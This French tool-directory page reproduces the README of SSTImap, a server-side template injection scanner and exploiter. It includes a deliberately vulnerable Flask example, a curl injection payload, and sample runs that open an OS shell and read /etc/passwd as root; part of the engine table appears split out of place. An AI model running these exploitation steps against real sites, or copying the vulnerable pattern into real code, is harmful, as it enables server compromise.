Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
SSTImap — Outil de détection automatique de SSTI avec interface interactive | Kitploit
Outils/GitHubGitHub/vladko312/sstimap
Scanners de VulnérabilitésGénération de PayloadsAnalyse de CodeAnalyse Dynamique de Code (DAST)ExploitationExploitation d'Applications WebFuzzingTests d'IntrusionCommandement et Contrôle
GitHubvladko312/sstimap

SSTImap

Outil de détection automatique de SSTI avec interface interactive

1.6k17756il y a 16 joursVérifié par Kitploit
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

SSTImap

Version 1.4 Python 3.14 Python 3.6 GitHub GitHub last commit Maintenance

Ce projet est basé sur Tplmap.

SSTImap est un logiciel de test d'intrusion qui peut vérifier les sites web pour détecter les vulnérabilités d'injection de code et d'injection de modèles côté serveur (Server-Side Template Injection) et les exploiter, donnant ainsi accès au système d'exploitation lui-même.

Cet outil a été développé pour être utilisé comme un outil interactif de test d'intrusion pour la détection et l'exploitation de SSTI, ce qui permet une exploitation plus avancée. D'autres payloads pour SSTImap peuvent être trouvés ici.

Télécharger l’outil

Les payloads et techniques proviennent de :

  • James Kettle's Server-Side Template Injection: RCE For The Modern Web App
  • Autres recherches publiques [1] [2] [8]
  • Contributions à Tplmap [3] [4]
  • Mes propres recherches [9]

Cet outil est capable d'exploiter certaines échappatoires de contexte de code et des scénarios d'injection aveugle. Il prend également en charge les injections de type eval() en Java, JavaScript, PHP, Python, Ruby et les moteurs de templates génériques non sandboxés.

Principales différences avec Tplmap

Bien que ce logiciel soit basé sur le code de Tplmap, la compatibilité ascendante n'est pas assurée.

  • Ajout de deux nouvelles techniques pour la détection et l'exploitation de SSTI
  • Mode interactif (-i) permettant une exploitation et une détection plus faciles
  • Payloads d'évaluation simples comme marqueurs de réponse en cas de réflexion de payload
  • Ajout de nouveaux payloads pour les templates génériques, pour tester tous les contextes utilisez --generic
  • Détection générique d'injection de templates par évaluation à l'aide du module Eval_generic
  • Exécution de shell (eval()-like) dans le langage de base (-x) ou d'une commande unique (-X)
  • L'upload aveugle de fichiers prend désormais en charge la confirmation MD5 et la vérification de l'existence du fichier
  • Ajout de nouveaux payloads pour plus de templates et mise à jour de nombreux payloads existants
  • Structure de plugins modulaire permettant l'installation de plugins supplémentaires
  • Prise en charge de différents types de données POST
  • Ajout du crawling et de la détection de formulaires
  • Versions courtes ajoutées à de nombreux arguments
  • Certains anciens arguments de ligne de commande ont été modifiés, consultez -h pour l'aide
  • Le code a été modifié pour utiliser les fonctionnalités Python les plus récentes
  • L'extension Burp Suite a été temporairement retirée, car Jython ne prend pas en charge Python3

Injection de modèles côté serveur (Server-Side Template Injection)

Voici un exemple de site web simple écrit en Python utilisant le framework Flask et le moteur de templates Jinja2. Il intègre la variable name fournie par l'utilisateur de manière non sécurisée, car elle est concaténée à la chaîne du template avant le rendu.

root@kitploit:~
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI VULNERABILITY:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Non seulement cette façon d'utiliser les templates crée une vulnérabilité XSS, mais elle permet également à l'attaquant d'injecter du code de template, qui sera exécuté sur le serveur, conduisant à une SSTI.

root@kitploit:~
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix

L'entrée fournie par l'utilisateur doit être introduite de manière sécurisée via le contexte de rendu :

root@kitploit:~
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Mode prédéterminé

SSTImap en mode prédéterminé est très similaire à Tplmap. Il est capable de détecter et d'exploiter les vulnérabilités SSTI dans plusieurs templates différents.

Après l'exploitation, SSTImap peut fournir un accès à l'évaluation de code, à l'exécution de commandes du système d'exploitation et aux manipulations du système de fichiers.

Pour vérifier l'URL, vous pouvez utiliser l'argument -u :

root@kitploit:~
$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files

Utilisez l'option --os-shell pour lancer un pseudo-terminal sur la cible.

root@kitploit:~
$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
[*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Pour obtenir la liste complète des options, utilisez l'argument --help.

Mode interactif

En mode interactif, des commandes sont utilisées pour interagir avec SSTImap. Pour entrer en mode interactif, vous pouvez utiliser l'argument -i. Tous les autres arguments, à l'exception de ceux concernant les payloads d'exploitation, seront utilisés comme valeurs initiales pour les paramètres.

Certaines commandes sont utilisées pour modifier les paramètres entre les exécutions de tests. Pour exécuter un test, l'URL cible doit être fournie via l'argument initial -u ou la commande url. Ensuite, vous pouvez utiliser la commande run pour vérifier l'URL pour une SSTI.

Si une SSTI est trouvée, des commandes peuvent être utilisées pour démarrer l'exploitation. Vous pouvez obtenir les mêmes capacités d'exploitation qu'en mode prédéterminé, mais vous pouvez utiliser Ctrl+C pour les interrompre sans arrêter le programme.

D'ailleurs, les résultats des tests restent valides jusqu'à ce que l'URL cible soit modifiée, vous pouvez donc facilement basculer entre les méthodes d'exploitation sans exécuter le test de détection à chaque fois.

Pour obtenir la liste complète des commandes interactives, utilisez la commande help en mode interactif.

Moteurs de templates pris en charge

SSTImap prend en charge plusieurs moteurs de templates et injections de type eval().

Les nouveaux payloads sont les bienvenus dans les PR. Consultez les conseils pour accélérer le développement.

EngineRCETechLanguageType
Freemarker✓REBTJavaDefault
Java generic EL injections✓REBTJavaDefault
OGNL (Object-Graph Navigation Language code eval)✓REBTJavaDefault
Velocity✓REBTJavaDefault
Nunjucks✓REBTJavaScriptDefault
Velocity.js✓REBTJavaScriptDefault
JavaScript (code eval)✓REBTJavaScriptDefault
JavaScript-based generic templates✓REBTJavaScriptDefault
Twig (>=1.41; >=2.10; >=3.0)✓REBTPHPDefault
PHP (code eval)✓REBTPHPDefault
PHP-based generic templates✓REBTPHPDefault
Jinja2✓REBTPythonDefault
Python (code eval)✓REBTPythonDefault
Python-based generic templates✓REBTPythonDefault
ERB✓REBTRubyDefault
Mustache (<=1.1.2; detection only)×reb_RubyDefault
Slim✓REBTRubyDefault
Ruby (code eval)✓REBTRubyDefault
Generic evaluating templates×Reb_*Default
SpEL (Spring EL code eval)✓REBTJavaGeneric
doT✓REBTJavaScriptGeneric

Techniques : (R)endu, (E)rreur, (B)lind basé sur les erreurs booléennes et (T)ime-based blind ; La lettre minuscule marque une technique partiellement prise en charge

Plus de plugins et de payloads peuvent être trouvés dans le dépôt SSTImap Extra Plugins.

Plugin Burp Suite

Actuellement, Burp Suite ne fonctionne qu'avec Jython comme moyen d'exécuter python2. La fonctionnalité Python3 n'est pas fournie.

Projets futurs

Si vous prévoyez de contribuer à quelque chose d'important sur cette liste, informez-moi pour éviter de travailler sur la même chose que moi ou que d'autres contributeurs.

  • Ajouter plus de payloads pour différents moteurs
  • Rendre les plugins moins dépendants des plugins de base
  • Analyser une requête HTTP brute à partir d'un fichier
  • Fonctionnalité de dump de variables
  • Extraction de valeurs aveugle/canal latéral
  • Meilleure documentation (ou au moins une documentation)
  • Arguments courts comme commandes interactives ?
  • Modes API JSONL/texte brut pour les intégrations de scripts ?
  • Meilleure intégration pour les scripts Python
  • Prise en charge du type de données POST multipart
  • Modules pour des requêtes plus personnalisables (second ordre, reset, non-HTTP)
  • Scripts de traitement de payloads
  • Meilleure fonctionnalité de configuration
  • Sauvegarde des vulnérabilités trouvées
  • Rapports en HTML ou autre format
  • Évaluation de langage multiligne ?
  • Éviter la dépendance à la plateforme dans les payloads
  • Tester plusieurs shells dans les scénarios RCE basés sur exec
  • Mettre à jour les payloads NodeJS car process.mainModule peut être indéfini
  • Automatisation Spider/crawler (par fantesykikachu)
  • Import automatique des langages et moteurs
  • Prise en charge de plus de types de données POST
  • Uniformiser la fonctionnalité d'évaluation des templates et du langage de base
  • Argument pour supprimer les codes d'échappement ?
EJS✓REBTJavaScriptGeneric
Marko✓REBTJavaScriptGeneric
Pug✓REBTJavaScriptGeneric
Smarty✓REBTPHPGeneric
Cheetah✓REBTPythonGeneric
Mako✓REBTPythonGeneric
Tornado✓REBTPythonGeneric
Dust (<= [email protected])✓REBTJavaScriptLegacy
Twig (<=1.19.0)✓REBTPHPLegacy
Pybars3 / Pybars4✓REBTPythonLegacy
Templite✓REBTPythonLegacy
SSI (Server-Side Includes injection)✓R__TSSILegacy
Obscure evaluating syntaxes×Reb_*Legacy
CVE-2025-1302✓REBTJavaScriptExtra
CVE-2025-13204✓REBTJavaScriptExtra
CVE-2022-23614✓REBTPHPExtra
CVE-2024-6386✓REBTPHPExtra
CVE-2026-46640✓REBTPHPExtra